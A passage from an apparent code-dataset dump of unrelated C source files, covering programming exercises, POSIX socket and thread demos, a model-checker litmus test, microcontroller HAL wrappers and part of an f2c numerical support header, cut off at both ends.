SHR_FUNC_ENTER(unit);
INT_DP_INIT_CHECK(unit);
SHR_NULL_CHECK(cb, SHR_E_PARAM);
INT_DP_LOCK(unit);
int_dp_locked = true;
SHR_IF_ERR_VERBOSE_EXIT
(bcmi_ltsw_int_action_profile_dp_traverse(unit, cb,
bcmi_ltsw_int_dp_action_profile_from_int, user_data));
exit:
if (int_dp_locked) {
INT_DP_UNLOCK(unit);
}
SHR_FUNC_EXIT();
}
#endif /* INCLUDE_INT */
|
the_stack_data/590946.c | #include <stdio.h>
/*02.Write a program that enters from the console a positive integer n and prints all the numbers from 1 to n not
divisible by 3 and 7, on a single line, separated by a space.*/
int main()
{
int n, i;
printf("Enter n: ");
scanf("%d", &n);
for(i = 1; i <= n; i++)
{
if(i % 3 == 0 || i % 7 == 0)
{
continue;
}
if(i == n)
{
printf("%d\n", i);
break;
}
printf("%d ", i);
}
return 0;
}
|
the_stack_data/151378.c | #include <stdio.h>
#include <stdlib.h>
int score[100][100];
int func(int num)
{
int i, j;
int max;
for (i = 1; i <= num; i++) {
for (j = 1; j <= i; j++) {
scanf("%d", &score[i][j]);
}
}
for (i = num-1; i >= 1; i--) {
for (j = 1; j <= i; j++) {
max = score[i+1][j] > score[i+1][j+1] ? score[i+1][j] : score[i+1][j+1];
score[i][j] = max + score[i][j];
}
}
return score[1][1];
}
int main()
{
int num, height;
scanf("%d", &num);
while (num--) {
scanf("%d", &height);
printf("%d\n", func(height));
}
return 0;
} |
the_stack_data/125140499.c | void fence() { asm("sync"); }
void lwfence() { asm("lwsync"); }
void isync() { asm("isync"); }
int __unbuffered_cnt=0;
int __unbuffered_p0_EAX=0;
int __unbuffered_p1_EAX=0;
int x=0;
int y=0;
void * P0(void * arg) {
y = 1;
__unbuffered_p0_EAX = x;
// Instrumentation for CPROVER
fence();
__unbuffered_cnt++;
}
void * P1(void * arg) {
x = 1;
__unbuffered_p1_EAX = y;
// Instrumentation for CPROVER
fence();
__unbuffered_cnt++;
}
int main() {
__CPROVER_ASYNC_0: P0(0);
__CPROVER_ASYNC_1: P1(0);
__CPROVER_assume(__unbuffered_cnt==2);
fence();
// EXPECT:exists
__CPROVER_assert(!(__unbuffered_p0_EAX==0 && __unbuffered_p1_EAX==0), "Program proven to be relaxed for X86, model checker says YES.");
return 0;
}
|
the_stack_data/17845.c | /* HAL raised several warnings, ignore them */
#pragma GCC diagnostic push
#pragma GCC diagnostic ignored "-Wunused-parameter"
#ifdef STM32F0xx
#include "stm32f0xx_hal_smbus.c"
#elif STM32F3xx
#include "stm32f3xx_hal_smbus.c"
#elif STM32F4xx
#include "stm32f4xx_hal_smbus.c"
#elif STM32F7xx
#include "stm32f7xx_hal_smbus.c"
#elif STM32G0xx
#include "stm32g0xx_hal_smbus.c"
#elif STM32G4xx
#include "stm32g4xx_hal_smbus.c"
#elif STM32H7xx
#include "stm32h7xx_hal_smbus.c"
#elif STM32L0xx
#include "stm32l0xx_hal_smbus.c"
#elif STM32L4xx
#include "stm32l4xx_hal_smbus.c"
#elif STM32L5xx
#include "stm32l5xx_hal_smbus.c"
#elif STM32MP1xx
#include "stm32mp1xx_hal_smbus.c"
#elif STM32WBxx
#include "stm32wbxx_hal_smbus.c"
#elif STM32WLxx
#include "stm32wlxx_hal_smbus.c"
#endif
#pragma GCC diagnostic pop
|
the_stack_data/271895.c | /* $NetBSD: socketpair.c,v 1.3 2003/08/07 10:30:50 agc Exp $
*
* Copyright (c) 1986, 1993
* The Regents of the University of California. All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* 3. Neither the name of the University nor the names of its contributors
* may be used to endorse or promote products derived from this software
* without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND ANY
* EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED
* WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
* DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE FOR
* ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
* DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
* SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
* CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT
* LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY
* OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH
* DAMAGE.
*
* @(#)socketpair.c 8.1 (Berkeley) 6/8/93
*/
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/wait.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
/* 'Kubla Khan' by Samuel Taylor Coleridge -- look it up. */
#define DATA1 "In Xanadu, did Kublai Khan . . ."
#define DATA2 "A stately pleasure dome decree . . ."
/*
* This program creates a pair of connected sockets then forks and
* communicates over them. This is very similar to communication with pipes,
* however, socketpairs are two-way communications objects. Therefore I can
* send messages in both directions.
*/
int main()
{
int sockets[2], child;
char buf[BUFSIZ];
if (socketpair(AF_UNIX, SOCK_STREAM, 0, sockets) < 0) {
perror("opening stream socket pair");
exit(1);
}
/* Note: Execution order of parent/child is not guaranteed! Hence,
* order of data being sent/read is entirely undefined. Do not
* rely on any order, even if you repeatedly observe it to follow
* what you perceive as a pattern. */
if ((child = fork()) == -1)
perror("fork");
else if (child) { /* This is the parent. */
close(sockets[0]);
printf("Parent (%d) --> sending: %s\n", getpid(), DATA1);
if (write(sockets[1], DATA1, sizeof(DATA1)) < 0)
perror("writing stream message");
if (read(sockets[1], buf, BUFSIZ) < 0)
perror("reading stream message");
printf("Parent (%d) --> reading: %s\n", getpid(), buf);
close(sockets[1]);
} else { /* This is the child. */
close(sockets[1]);
printf("Child (%d) --> sending: %s\n", getpid(), DATA2);
if (write(sockets[0], DATA2, sizeof(DATA2)) < 0)
perror("writing stream message");
if (read(sockets[0], buf, BUFSIZ) < 0)
perror("reading stream message");
printf("Child (%d) --> reading: %s\n", getpid(), buf);
close(sockets[0]);
}
return 0;
}
|
the_stack_data/95450932.c | /*
* Copyright 2016 Google Inc.
*
* Licensed under the Apache License, Version 2.0 (the "License");
* you may not use this file except in compliance with the License.
* You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <err.h>
#include <sys/poll.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <unistd.h>
#include <linux/types.h>
#include <linux/netlink.h>
void wait_for_blockdev_removal(const char *blockdev) {
printf("Waiting for blockdev \"%s\" to be removed\n", blockdev);
struct sockaddr_nl nls;
struct pollfd pfd;
char buf[512];
memset(&nls, 0, sizeof(struct sockaddr_nl));
nls.nl_family = AF_NETLINK;
nls.nl_pid = getpid();
nls.nl_groups = -1;
pfd.events = POLLIN;
// As per netlink(7), Linux 3.0 allows unprivileged users to use
// NETLINK_KOBJECT_UEVENT.
pfd.fd = socket(PF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT);
if (pfd.fd == -1) {
err(EXIT_FAILURE, "socket(PF_NETLINK, SOCK_DGRAM, NETLINK_KOBJECT_UEVENT)");
}
if (bind(pfd.fd, (void *)&nls, sizeof(struct sockaddr_nl))) {
err(EXIT_FAILURE, "bind");
}
while (poll(&pfd, 1, -1) != -1) {
const int n = recv(pfd.fd, buf, sizeof(buf), MSG_DONTWAIT);
if (n == -1)
err(EXIT_FAILURE, "recv");
printf("Read hotplug event, first line is \"%s\"\n", buf);
const size_t len = strlen(buf);
// If the line starts with remove@ and ends in the block device, the block
// device was removed.
if (strncmp(buf, "remove@", strlen("remove@")) == 0 &&
len > strlen(blockdev) &&
strcmp(buf + len - strlen(blockdev), blockdev) == 0) {
close(pfd.fd);
return;
}
}
}
|
the_stack_data/125141711.c | /***************************************************************************
*cr
*cr (C) Copyright 2007 The Board of Trustees of the
*cr University of Illinois
*cr All Rights Reserved
*cr
***************************************************************************/
//#include <endian.h>
#include <stdlib.h>
#include <malloc.h>
#include <stdio.h>
#include <inttypes.h>
#if __BYTE_ORDER != __LITTLE_ENDIAN
# error "File I/O is not implemented for this system: wrong endianness."
#endif
void inputData(char* fName, int* len, int* depth, int* dim,int *nzcnt_len,int *pad,
float** h_data, int** h_indices, int** h_ptr,
int** h_perm, int** h_nzcnt)
{
FILE* fid = fopen(fName, "rb");
if (fid == NULL)
{
fprintf(stderr, "Cannot open input file\n");
exit(-1);
}
fscanf(fid, "%d %d %d %d %d\n",len,depth,nzcnt_len,dim,pad);
int _len=len[0];
int _depth=depth[0];
int _dim=dim[0];
int _pad=pad[0];
int _nzcnt_len=nzcnt_len[0];
*h_data = (float *) malloc(_len * sizeof (float));
fread (*h_data, sizeof (float), _len, fid);
*h_indices = (int *) malloc(_len * sizeof (int));
fread (*h_indices, sizeof (int), _len, fid);
*h_ptr = (int *) malloc(_depth * sizeof (int));
fread (*h_ptr, sizeof (int), _depth, fid);
*h_perm = (int *) malloc(_dim * sizeof (int));
fread (*h_perm, sizeof (int), _dim, fid);
*h_nzcnt = (int *) malloc(_nzcnt_len * sizeof (int));
fread (*h_nzcnt, sizeof (int), _nzcnt_len, fid);
fclose (fid);
}
void input_vec(char *fName,float *h_vec,int dim)
{
FILE* fid = fopen(fName, "rb");
fread (h_vec, sizeof (float), dim, fid);
fclose(fid);
}
void outputData(char* fName, float *h_Ax_vector,int dim)
{
FILE* fid = fopen(fName, "w");
uint32_t tmp32;
if (fid == NULL)
{
fprintf(stderr, "Cannot open output file\n");
exit(-1);
}
tmp32 = dim;
fwrite(&tmp32, sizeof(uint32_t), 1, fid);
fwrite(h_Ax_vector, sizeof(float), dim, fid);
fclose (fid);
}
|
the_stack_data/58541.c | /* For license: see LICENSE file at top-level */
#ifdef HAVE_CONFIG_H
# include "config.h"
#endif /* HAVE_CONFIG_H */
#include <stdio.h>
#include <stdlib.h>
#include <ctype.h>
#include <sys/types.h>
/**
* define accepted size units in ascending order, fits in size_t
*
* See section 3.1 in http://physics.nist.gov/Pubs/SP330/sp330.pdf
*
*/
static char *units_string = "KMGTPE";
static const size_t multiplier = 1024;
/**
* Take a scaling unit and work out its numeric value, in *sp
*
* Return 0 if good, -1 if not
*
*/
static int
parse_unit(char u, size_t *sp)
{
int foundit = 0;
char *usp = units_string;
size_t bytes = multiplier;
u = toupper(u);
while (*usp != '\0') {
if (*usp == u) {
foundit = 1;
break;
/* NOT REACHED */
}
bytes *= multiplier;
usp += 1;
}
if (foundit) {
*sp = bytes;
return 0;
}
else {
*sp = 0;
return -1;
}
}
/**
* segment size can be expressed with scaling units. Parse those.
*
* *bytes_p is scaled segment size
*
* Return 0 if parsed, -1 if not
*/
int
shmemu_parse_size(char *size_str, size_t *bytes_p)
{
char *units; /* scaling factor if given */
double bytes;
bytes = strtod(size_str, &units);
if (bytes < 0.0) {
return -1;
/* NOT REACHED */
}
if (*units != '\0') {
/* something that could be a unit */
size_t b;
/* but we don't know what that unit is */
if (parse_unit(*units, &b) != 0) {
return -1;
/* NOT REACHED */
}
/* scale for return */
bytes *= b;
}
*bytes_p = (size_t) bytes;
return 0;
}
/*
* do the reverse of parse_size: put a human-readble form of "bytes"
* in "buf"
*
* Return 0 if successful, -1 if not
*/
int
shmemu_human_number(double bytes, char *buf, size_t buflen)
{
char *walk = units_string;
unsigned wc = 0; /* walk count */
size_t divvy = multiplier;
double b = bytes;
char unit = '\0';
while (*walk) {
const size_t d = (size_t) bytes / divvy;
/* find when we've gone too far */
if (d == 0) {
if (wc > 0) {
walk -= 1;
unit = *walk;
}
break;
/* NOT REACHED */
}
wc += 1, walk += 1;
divvy *= multiplier;
b /= multiplier;
}
snprintf(buf, buflen, "%.1f%c", b, unit);
return 0;
}
/*
* human-readable option setting
*/
char *
shmemu_human_option(int v)
{
return (v == 0) ? "no" : "yes";
}
|
the_stack_data/54826391.c |
//Definition for singly-linked list.
struct ListNode
{
int val;
struct ListNode *next;
};
struct ListNode *merge(struct ListNode *list0, struct ListNode *list1)
{
if (!list0)
return list1;
if (!list1)
return list0;
if (list0->val <= list1->val)
{
list0->next = merge(list0->next, list1);
return list0;
}
list1->next = merge(list0, list1->next);
return list1;
}
struct ListNode *sortList(struct ListNode *head)
{
if (!head || !head->next)
return head;
struct ListNode *mid = head, *tail = head->next;
while (tail && tail->next)
{
mid = mid->next;
tail = tail->next->next;
}
tail = mid->next;
mid->next = 0;
head = sortList(head);
mid = sortList(tail);
return merge(head, mid);
} |
the_stack_data/243894075.c | #include <pthread.h>
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#define STEP 5
#define NUM_THREADS 4
/* Funkcja wykonywana przez watek */
void* start_routine (void* arg)
{
int i, id;
id = (int)arg;
/* Wyswietl nr przekazanego watku i krok */
for(i = 0; i < STEP; i++)
{
printf("\tWatek: %d, step = %d\n", id, i);
sleep(1);
}
pthread_exit(NULL);
}
/* Program glowny */
int main ()
{
int i, rc;
pthread_t thread_id[NUM_THREADS];
for(i = 0; i < NUM_THREADS; i++)
{
/* Utworz nowy watek, ktory bedzie wykonywal funkcje start_routine. */
/* Przekaz argument i do watku */
printf("Tworze watek nr: %d\n", i);
rc = pthread_create (&thread_id[i], NULL, &start_routine, (void *)i);
/* W przypadku, gdy nie uda sie utworzyc watku */
if (rc)
{
printf("Blad. Kod powrotu z funkcji pthread_create(): %d\n", rc);
exit(1);
}
}
printf("Watek glowny zakonczony. Wyjscie\n");
pthread_exit(NULL);
}
|
the_stack_data/126703360.c | #include <stdlib.h>
char* doit(int flag)
{
return 1 + (flag ? "\0wrong\n" : "\0right\n");
}
int main()
{
char *result = doit(0);
if (*result == 'r' && result[1] == 'i')
exit(0);
abort();
}
|
the_stack_data/666279.c | /**ARGS: source -UABELONE */
/**SYSCODE: = 1 | 32 */
#if (defined UNIX && defined PYGMALION) || (defined LINUX && defined ABELONE) || (defined MACOSX && defined ABYSSINIA)
extern int i;
#endif
#if (defined UNIX && defined PYGMALION) || (defined MACOSX && defined ABYSSINIA)
extern int j;
#endif
|
the_stack_data/100140876.c | /*
Kenneth Adair
K&R pg. 115
*/
#include <stdio.h>
/* echo command-line arguments; 2nd version */
int main(int argc, char *argv[])
{
while(--argc > 0)
printf("%s%s", *++argv, (argc > 1) ? " " : "");
printf("\n");
return 0;
}
|
the_stack_data/46785.c | #include <math.h>
#include <stdlib.h>
#include <string.h>
#include <stdio.h>
#include <complex.h>
#ifdef complex
#undef complex
#endif
#ifdef I
#undef I
#endif
#if defined(_WIN64)
typedef long long BLASLONG;
typedef unsigned long long BLASULONG;
#else
typedef long BLASLONG;
typedef unsigned long BLASULONG;
#endif
#ifdef LAPACK_ILP64
typedef BLASLONG blasint;
#if defined(_WIN64)
#define blasabs(x) llabs(x)
#else
#define blasabs(x) labs(x)
#endif
#else
typedef int blasint;
#define blasabs(x) abs(x)
#endif
typedef blasint integer;
typedef unsigned int uinteger;
typedef char *address;
typedef short int shortint;
typedef float real;
typedef double doublereal;
typedef struct { real r, i; } complex;
typedef struct { doublereal r, i; } doublecomplex;
#ifdef _MSC_VER
static inline _Fcomplex Cf(complex *z) {_Fcomplex zz={z->r , z->i}; return zz;}
static inline _Dcomplex Cd(doublecomplex *z) {_Dcomplex zz={z->r , z->i};return zz;}
static inline _Fcomplex * _pCf(complex *z) {return (_Fcomplex*)z;}
static inline _Dcomplex * _pCd(doublecomplex *z) {return (_Dcomplex*)z;}
#else
static inline _Complex float Cf(complex *z) {return z->r + z->i*_Complex_I;}
static inline _Complex double Cd(doublecomplex *z) {return z->r + z->i*_Complex_I;}
static inline _Complex float * _pCf(complex *z) {return (_Complex float*)z;}
static inline _Complex double * _pCd(doublecomplex *z) {return (_Complex double*)z;}
#endif
#define pCf(z) (*_pCf(z))
#define pCd(z) (*_pCd(z))
typedef int logical;
typedef short int shortlogical;
typedef char logical1;
typedef char integer1;
#define TRUE_ (1)
#define FALSE_ (0)
/* Extern is for use with -E */
#ifndef Extern
#define Extern extern
#endif
/* I/O stuff */
typedef int flag;
typedef int ftnlen;
typedef int ftnint;
/*external read, write*/
typedef struct
{ flag cierr;
ftnint ciunit;
flag ciend;
char *cifmt;
ftnint cirec;
} cilist;
/*internal read, write*/
typedef struct
{ flag icierr;
char *iciunit;
flag iciend;
char *icifmt;
ftnint icirlen;
ftnint icirnum;
} icilist;
/*open*/
typedef struct
{ flag oerr;
ftnint ounit;
char *ofnm;
ftnlen ofnmlen;
char *osta;
char *oacc;
char *ofm;
ftnint orl;
char *oblnk;
} olist;
/*close*/
typedef struct
{ flag cerr;
ftnint cunit;
char *csta;
} cllist;
/*rewind, backspace, endfile*/
typedef struct
{ flag aerr;
ftnint aunit;
} alist;
/* inquire */
typedef struct
{ flag inerr;
ftnint inunit;
char *infile;
ftnlen infilen;
ftnint *inex; /*parameters in standard's order*/
ftnint *inopen;
ftnint *innum;
ftnint *innamed;
char *inname;
ftnlen innamlen;
char *inacc;
ftnlen inacclen;
char *inseq;
ftnlen inseqlen;
char *indir;
ftnlen indirlen;
char *infmt;
ftnlen infmtlen;
char *inform;
ftnint informlen;
char *inunf;
ftnlen inunflen;
ftnint *inrecl;
ftnint *innrec;
char *inblank;
ftnlen inblanklen;
} inlist;
#define VOID void
union Multitype { /* for multiple entry points */
integer1 g;
shortint h;
integer i;
/* longint j; */
real r;
doublereal d;
complex c;
doublecomplex z;
};
typedef union Multitype Multitype;
struct Vardesc { /* for Namelist */
char *name;
char *addr;
ftnlen *dims;
int type;
};
typedef struct Vardesc Vardesc;
struct Namelist {
char *name;
Vardesc **vars;
int nvars;
};
typedef struct Namelist Namelist;
#define abs(x) ((x) >= 0 ? (x) : -(x))
#define dabs(x) (fabs(x))
#define f2cmin(a,b) ((a) <= (b) ? (a) : (b))
#define f2cmax(a,b) ((a) >= (b) ? (a) : (b))
#define dmin(a,b) (f2cmin(a,b))
#define dmax(a,b) (f2cmax(a,b))
#define bit_test(a,b) ((a) >> (b) & 1)
#define bit_clear(a,b) ((a) & ~((uinteger)1 << (b)))
#define bit_set(a,b) ((a) | ((uinteger)1 << (b)))
#define abort_() { sig_die("Fortran abort routine called", 1); }
#define c_abs(z) (cabsf(Cf(z)))
#define c_cos(R,Z) { pCf(R)=ccos(Cf(Z)); }
#ifdef _MSC_VER
#define c_div(c, a, b) {Cf(c)._Val[0] = (Cf(a)._Val[0]/Cf(b)._Val[0]); Cf(c)._Val[1]=(Cf(a)._Val[1]/Cf(b)._Val[1]);}
#define z_div(c, a, b) {Cd(c)._Val[0] = (Cd(a)._Val[0]/Cd(b)._Val[0]); Cd(c)._Val[1]=(Cd(a)._Val[1]/Cd(b)._Val[1]);}
#else
#define c_div(c, a, b) {pCf(c) = Cf(a)/Cf(b);}
#define z_div(c, a, b) {pCd(c) = Cd(a)/Cd(b);}
#endif
#define c_exp(R, Z) {pCf(R) = cexpf(Cf(Z));}
#define c_log(R, Z) {pCf(R) = clogf(Cf(Z));}
#define c_sin(R, Z) {pCf(R) = csinf(Cf(Z));}
//#define c_sqrt(R, Z) {*(R) = csqrtf(Cf(Z));}
#define c_sqrt(R, Z) {pCf(R) = csqrtf(Cf(Z));}
#define d_abs(x) (fabs(*(x)))
#define d_acos(x) (acos(*(x)))
#define d_asin(x) (asin(*(x)))
#define d_atan(x) (atan(*(x)))
#define d_atn2(x, y) (atan2(*(x),*(y)))
#define d_cnjg(R, Z) { pCd(R) = conj(Cd(Z)); }
#define r_cnjg(R, Z) { pCf(R) = conjf(Cf(Z)); }
#define d_cos(x) (cos(*(x)))
#define d_cosh(x) (cosh(*(x)))
#define d_dim(__a, __b) ( *(__a) > *(__b) ? *(__a) - *(__b) : 0.0 )
#define d_exp(x) (exp(*(x)))
#define d_imag(z) (cimag(Cd(z)))
#define r_imag(z) (cimagf(Cf(z)))
#define d_int(__x) (*(__x)>0 ? floor(*(__x)) : -floor(- *(__x)))
#define r_int(__x) (*(__x)>0 ? floor(*(__x)) : -floor(- *(__x)))
#define d_lg10(x) ( 0.43429448190325182765 * log(*(x)) )
#define r_lg10(x) ( 0.43429448190325182765 * log(*(x)) )
#define d_log(x) (log(*(x)))
#define d_mod(x, y) (fmod(*(x), *(y)))
#define u_nint(__x) ((__x)>=0 ? floor((__x) + .5) : -floor(.5 - (__x)))
#define d_nint(x) u_nint(*(x))
#define u_sign(__a,__b) ((__b) >= 0 ? ((__a) >= 0 ? (__a) : -(__a)) : -((__a) >= 0 ? (__a) : -(__a)))
#define d_sign(a,b) u_sign(*(a),*(b))
#define r_sign(a,b) u_sign(*(a),*(b))
#define d_sin(x) (sin(*(x)))
#define d_sinh(x) (sinh(*(x)))
#define d_sqrt(x) (sqrt(*(x)))
#define d_tan(x) (tan(*(x)))
#define d_tanh(x) (tanh(*(x)))
#define i_abs(x) abs(*(x))
#define i_dnnt(x) ((integer)u_nint(*(x)))
#define i_len(s, n) (n)
#define i_nint(x) ((integer)u_nint(*(x)))
#define i_sign(a,b) ((integer)u_sign((integer)*(a),(integer)*(b)))
#define pow_dd(ap, bp) ( pow(*(ap), *(bp)))
#define pow_si(B,E) spow_ui(*(B),*(E))
#define pow_ri(B,E) spow_ui(*(B),*(E))
#define pow_di(B,E) dpow_ui(*(B),*(E))
#define pow_zi(p, a, b) {pCd(p) = zpow_ui(Cd(a), *(b));}
#define pow_ci(p, a, b) {pCf(p) = cpow_ui(Cf(a), *(b));}
#define pow_zz(R,A,B) {pCd(R) = cpow(Cd(A),*(B));}
#define s_cat(lpp, rpp, rnp, np, llp) { ftnlen i, nc, ll; char *f__rp, *lp; ll = (llp); lp = (lpp); for(i=0; i < (int)*(np); ++i) { nc = ll; if((rnp)[i] < nc) nc = (rnp)[i]; ll -= nc; f__rp = (rpp)[i]; while(--nc >= 0) *lp++ = *(f__rp)++; } while(--ll >= 0) *lp++ = ' '; }
#define s_cmp(a,b,c,d) ((integer)strncmp((a),(b),f2cmin((c),(d))))
#define s_copy(A,B,C,D) { int __i,__m; for (__i=0, __m=f2cmin((C),(D)); __i<__m && (B)[__i] != 0; ++__i) (A)[__i] = (B)[__i]; }
#define sig_die(s, kill) { exit(1); }
#define s_stop(s, n) {exit(0);}
static char junk[] = "\n@(#)LIBF77 VERSION 19990503\n";
#define z_abs(z) (cabs(Cd(z)))
#define z_exp(R, Z) {pCd(R) = cexp(Cd(Z));}
#define z_sqrt(R, Z) {pCd(R) = csqrt(Cd(Z));}
#define myexit_() break;
#define mycycle_() continue;
#define myceiling_(w) {ceil(w)}
#define myhuge_(w) {HUGE_VAL}
//#define mymaxloc_(w,s,e,n) {if (sizeof(*(w)) == sizeof(double)) dmaxloc_((w),*(s),*(e),n); else dmaxloc_((w),*(s),*(e),n);}
#define mymaxloc_(w,s,e,n) {dmaxloc_(w,*(s),*(e),n)}
/* procedure parameter types for -A and -C++ */
#define F2C_proc_par_types 1
#ifdef __cplusplus
typedef logical (*L_fp)(...);
#else
typedef logical (*L_fp)();
#endif
static float spow_ui(float x, integer n) {
float pow=1.0; unsigned long int u;
if(n != 0) {
if(n < 0) n = -n, x = 1/x;
for(u = n; ; ) {
if(u & 01) pow *= x;
if(u >>= 1) x *= x;
else break;
}
}
return pow;
}
static double dpow_ui(double x, integer n) {
double pow=1.0; unsigned long int u;
if(n != 0) {
if(n < 0) n = -n, x = 1/x;
for(u = n; ; ) {
if(u & 01) pow *= x;
if(u >>= 1) x *= x;
else break;
}
}
return pow;
}
#ifdef _MSC_VER
static _Fcomplex cpow_ui(complex x, integer n) {
complex pow={1.0,0.0}; unsigned long int u;
if(n != 0) {
if(n < 0) n = -n, x.r = 1/x.r, x.i=1/x.i;
for(u = n; ; ) {
if(u & 01) pow.r *= x.r, pow.i *= x.i;
if(u >>= 1) x.r *= x.r, x.i *= x.i;
else break;
}
}
_Fcomplex p={pow.r, pow.i};
return p;
}
#else
static _Complex float cpow_ui(_Complex float x, integer n) {
_Complex float pow=1.0; unsigned long int u;
if(n != 0) {
if(n < 0) n = -n, x = 1/x;
for(u = n; ; ) {
if(u & 01) pow *= x;
if(u >>= 1) x *= x;
else break;
}
}
return pow;
}
#endif
#ifdef _MSC_VER
static _Dcomplex zpow_ui(_Dcomplex x, integer n) {
_Dcomplex pow={1.0,0.0}; unsigned long int u;
if(n != 0) {
if(n < 0) n = -n, x._Val[0] = 1/x._Val[0], x._Val[1] =1/x._Val[1];
for(u = n; ; ) {
if(u & 01) pow._Val[0] *= x._Val[0], pow._Val[1] *= x._Val[1];
if(u >>= 1) x._Val[0] *= x._Val[0], x._Val[1] *= x._Val[1];
else break;
}
}
_Dcomplex p = {pow._Val[0], pow._Val[1]};
return p;
}
#else
static _Complex double zpow_ui(_Complex double x, integer n) {
_Complex double pow=1.0; unsigned long int u;
if(n != 0) {
if(n < 0) n = -n, x = 1/x;
for(u = n; ; ) {
if(u & 01) pow *= x;
if(u >>= 1) x *= x;
else break;
}
}
return pow;
}
#endif
static integer pow_ii(integer x, integer n) {
integer pow; unsigned long int u;
if (n <= 0) {
if (n == 0 || x == 1) pow = 1;
else if (x != -1) pow = x == 0 ? 1/x : 0;
else n = -n;
}
if ((n > 0) || !(n == 0 || x == 1 || x != -1)) {
u = n;
for(pow = 1; ; ) {
if(u & 01) pow *= x;
if(u >>= 1) x *= x;
else break;
}
}
return pow;
}
static integer dmaxloc_(double *w, integer s, integer e, integer *n)
{
double m; integer i, mi;
for(m=w[s-1], mi=s, i=s+1; i<=e; i++)
if (w[i-1]>m) mi=i ,m=w[i-1];
return mi-s+1;
}
static integer smaxloc_(float *w, integer s, integer e, integer *n)
{
float m; integer i, mi;
for(m=w[s-1], mi=s, i=s+1; i<=e; i++)
if (w[i-1]>m) mi=i ,m=w[i-1];
return mi-s+1;
}
static inline void cdotc_(complex *z, integer *n_, complex *x, integer *incx_, complex *y, integer *incy_) {
integer n = *n_, incx = *incx_, incy = *incy_, i;
#ifdef _MSC_VER
_Fcomplex zdotc = {0.0, 0.0};
if (incx == 1 && incy == 1) {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc._Val[0] += conjf(Cf(&x[i]))._Val[0] * Cf(&y[i])._Val[0];
zdotc._Val[1] += conjf(Cf(&x[i]))._Val[1] * Cf(&y[i])._Val[1];
}
} else {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc._Val[0] += conjf(Cf(&x[i*incx]))._Val[0] * Cf(&y[i*incy])._Val[0];
zdotc._Val[1] += conjf(Cf(&x[i*incx]))._Val[1] * Cf(&y[i*incy])._Val[1];
}
}
pCf(z) = zdotc;
}
#else
_Complex float zdotc = 0.0;
if (incx == 1 && incy == 1) {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += conjf(Cf(&x[i])) * Cf(&y[i]);
}
} else {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += conjf(Cf(&x[i*incx])) * Cf(&y[i*incy]);
}
}
pCf(z) = zdotc;
}
#endif
static inline void zdotc_(doublecomplex *z, integer *n_, doublecomplex *x, integer *incx_, doublecomplex *y, integer *incy_) {
integer n = *n_, incx = *incx_, incy = *incy_, i;
#ifdef _MSC_VER
_Dcomplex zdotc = {0.0, 0.0};
if (incx == 1 && incy == 1) {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc._Val[0] += conj(Cd(&x[i]))._Val[0] * Cd(&y[i])._Val[0];
zdotc._Val[1] += conj(Cd(&x[i]))._Val[1] * Cd(&y[i])._Val[1];
}
} else {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc._Val[0] += conj(Cd(&x[i*incx]))._Val[0] * Cd(&y[i*incy])._Val[0];
zdotc._Val[1] += conj(Cd(&x[i*incx]))._Val[1] * Cd(&y[i*incy])._Val[1];
}
}
pCd(z) = zdotc;
}
#else
_Complex double zdotc = 0.0;
if (incx == 1 && incy == 1) {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += conj(Cd(&x[i])) * Cd(&y[i]);
}
} else {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc += conj(Cd(&x[i*incx])) * Cd(&y[i*incy]);
}
}
pCd(z) = zdotc;
}
#endif
static inline void cdotu_(complex *z, integer *n_, complex *x, integer *incx_, complex *y, integer *incy_) {
integer n = *n_, incx = *incx_, incy = *incy_, i;
#ifdef _MSC_VER
_Fcomplex zdotc = {0.0, 0.0};
if (incx == 1 && incy == 1) {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
zdotc._Val[0] += Cf(&x[i])._Val[0] * Cf(&y[i])._Val[0];
zdotc._Val[1] += Cf(&x[i])._Val[1] * Cf(&y[i])._Val[1];
}
} else {
for (i=0;i<n;i++) { /* zdotc = zdotc + dconjg(x(i))* y(i) */
